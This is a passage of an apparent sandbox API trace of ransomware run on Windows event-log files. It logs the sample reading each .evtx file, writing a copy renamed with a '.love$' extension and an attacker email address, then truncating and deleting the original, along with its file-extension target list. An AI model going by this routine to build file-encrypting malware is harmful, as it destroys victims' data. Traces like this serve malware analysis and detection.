(lpString1=".evtx", lpString2=".love$") returned -1 [0121.123] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0121.123] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.124] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0121.124] CloseHandle (hObject=0x344) returned 1 [0121.124] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0121.124] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.124] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.125] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.125] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.125] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0121.126] GetLastError () returned 0x0 [0121.126] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.131] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.134] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.134] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x128, lpOverlapped=0x0) returned 1 [0121.134] SetEndOfFile (hFile=0x318) returned 1 [0121.134] CloseHandle (hObject=0x318) returned 1 [0121.137] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.137] SetEndOfFile (hFile=0x344) returned 1 [0121.139] CloseHandle (hObject=0x344) returned 1 [0121.139] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.139] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0121.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.140] lstrlenW (lpString=".doc") returned 4 [0121.140] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString=".docx") returned 5 [0121.140] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.140] lstrlenW (lpString=".pdf") returned 4 [0121.140] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString=".xls") returned 4 [0121.140] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString=".xlsx") returned 5 [0121.140] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.140] lstrlenW (lpString=".ppt") returned 4 [0121.140] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.140] lstrlenW (lpString=".zip") returned 4 [0121.140] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString=".rar") returned 4 [0121.140] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString=".bz2") returned 4 [0121.140] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString=".7z") returned 3 [0121.140] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.140] lstrlenW (lpString=".dbf") returned 4 [0121.140] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.140] lstrlenW (lpString=".1cd") returned 4 [0121.140] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.141] lstrlenW (lpString=".jpg") returned 4 [0121.141] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.141] lstrlenW (lpString=".doc") returned 4 [0121.141] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString=".docx") returned 5 [0121.141] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.141] lstrlenW (lpString=".pdf") returned 4 [0121.141] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString=".xls") returned 4 [0121.141] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString=".xlsx") returned 5 [0121.141] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.141] lstrlenW (lpString=".ppt") returned 4 [0121.141] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.141] lstrlenW (lpString=".zip") returned 4 [0121.141] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString=".rar") returned 4 [0121.141] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString=".bz2") returned 4 [0121.141] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.141] lstrlenW (lpString=".7z") returned 3 [0121.141] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.141] lstrlenW (lpString=".dbf") returned 4 [0121.142] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.142] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.142] lstrlenW (lpString=".1cd") returned 4 [0121.142] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.142] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0121.142] lstrlenW (lpString=".jpg") returned 4 [0121.142] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.142] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.142] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0121.142] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.142] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0121.142] CloseHandle (hObject=0x344) returned 1 [0121.143] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0121.143] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.263] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.263] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0121.263] GetLastError () returned 0x0 [0121.264] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.267] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.270] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.270] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x116, lpOverlapped=0x0) returned 1 [0121.270] SetEndOfFile (hFile=0x318) returned 1 [0121.270] CloseHandle (hObject=0x318) returned 1 [0121.560] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.561] SetEndOfFile (hFile=0x344) returned 1 [0121.562] CloseHandle (hObject=0x344) returned 1 [0121.562] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.563] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0121.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.563] lstrlenW (lpString=".doc") returned 4 [0121.563] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.563] lstrlenW (lpString=".docx") returned 5 [0121.563] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.563] lstrlenW (lpString=".pdf") returned 4 [0121.563] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.563] lstrlenW (lpString=".xls") returned 4 [0121.563] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.563] lstrlenW (lpString=".xlsx") returned 5 [0121.563] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.564] lstrlenW (lpString=".ppt") returned 4 [0121.564] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.564] lstrlenW (lpString=".zip") returned 4 [0121.564] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString=".rar") returned 4 [0121.564] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString=".bz2") returned 4 [0121.564] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString=".7z") returned 3 [0121.564] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.564] lstrlenW (lpString=".dbf") returned 4 [0121.564] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.564] lstrlenW (lpString=".1cd") returned 4 [0121.564] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.564] lstrlenW (lpString=".jpg") returned 4 [0121.564] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.564] lstrlenW (lpString=".doc") returned 4 [0121.564] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.564] lstrlenW (lpString=".docx") returned 5 [0121.564] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.564] lstrlenW (lpString=".pdf") returned 4 [0121.565] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.565] lstrlenW (lpString=".xls") returned 4 [0121.565] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.565] lstrlenW (lpString=".xlsx") returned 5 [0121.565] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.565] lstrlenW (lpString=".ppt") returned 4 [0121.565] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.565] lstrlenW (lpString=".zip") returned 4 [0121.565] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.565] lstrlenW (lpString=".rar") returned 4 [0121.565] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.565] lstrlenW (lpString=".bz2") returned 4 [0121.566] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.566] lstrlenW (lpString=".7z") returned 3 [0121.566] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.566] lstrlenW (lpString=".dbf") returned 4 [0121.566] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.566] lstrlenW (lpString=".1cd") returned 4 [0121.566] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0121.566] lstrlenW (lpString=".jpg") returned 4 [0121.566] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.566] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.566] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0121.566] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.567] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0121.567] CloseHandle (hObject=0x344) returned 1 [0121.571] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0121.571] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.571] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.571] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.571] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.571] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0121.572] GetLastError () returned 0x0 [0121.572] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.616] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.619] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.619] WriteFile (in: hFile=0x318, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x114, lpOverlapped=0x0) returned 1 [0121.619] SetEndOfFile (hFile=0x318) returned 1 [0121.619] CloseHandle (hObject=0x318) returned 1 [0121.624] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.624] SetEndOfFile (hFile=0x344) returned 1 [0121.626] CloseHandle (hObject=0x344) returned 1 [0121.626] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.627] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0121.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.627] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.627] lstrlenW (lpString=".doc") returned 4 [0121.627] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.627] lstrlenW (lpString=".docx") returned 5 [0121.627] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.627] lstrlenW (lpString=".pdf") returned 4 [0121.642] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.642] lstrlenW (lpString=".xls") returned 4 [0121.643] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString=".xlsx") returned 5 [0121.643] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.643] lstrlenW (lpString=".ppt") returned 4 [0121.643] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.643] lstrlenW (lpString=".zip") returned 4 [0121.643] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString=".rar") returned 4 [0121.643] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString=".bz2") returned 4 [0121.643] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString=".7z") returned 3 [0121.643] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.643] lstrlenW (lpString=".dbf") returned 4 [0121.643] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.643] lstrlenW (lpString=".1cd") returned 4 [0121.643] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.643] lstrlenW (lpString=".jpg") returned 4 [0121.643] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.644] lstrlenW (lpString=".doc") returned 4 [0121.644] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString=".docx") returned 5 [0121.644] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.644] lstrlenW (lpString=".pdf") returned 4 [0121.644] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString=".xls") returned 4 [0121.644] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString=".xlsx") returned 5 [0121.644] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.644] lstrlenW (lpString=".ppt") returned 4 [0121.644] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.644] lstrlenW (lpString=".zip") returned 4 [0121.644] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString=".rar") returned 4 [0121.644] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString=".bz2") returned 4 [0121.644] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString=".7z") returned 3 [0121.644] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.644] lstrlenW (lpString=".dbf") returned 4 [0121.644] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.644] lstrlenW (lpString=".1cd") returned 4 [0121.644] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0121.644] lstrlenW (lpString=".jpg") returned 4 [0121.644] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.645] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.645] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0121.645] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.647] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=69632) returned 1 [0121.647] CloseHandle (hObject=0x344) returned 1 [0121.647] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0121.647] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.647] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0121.648] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.648] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.648] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 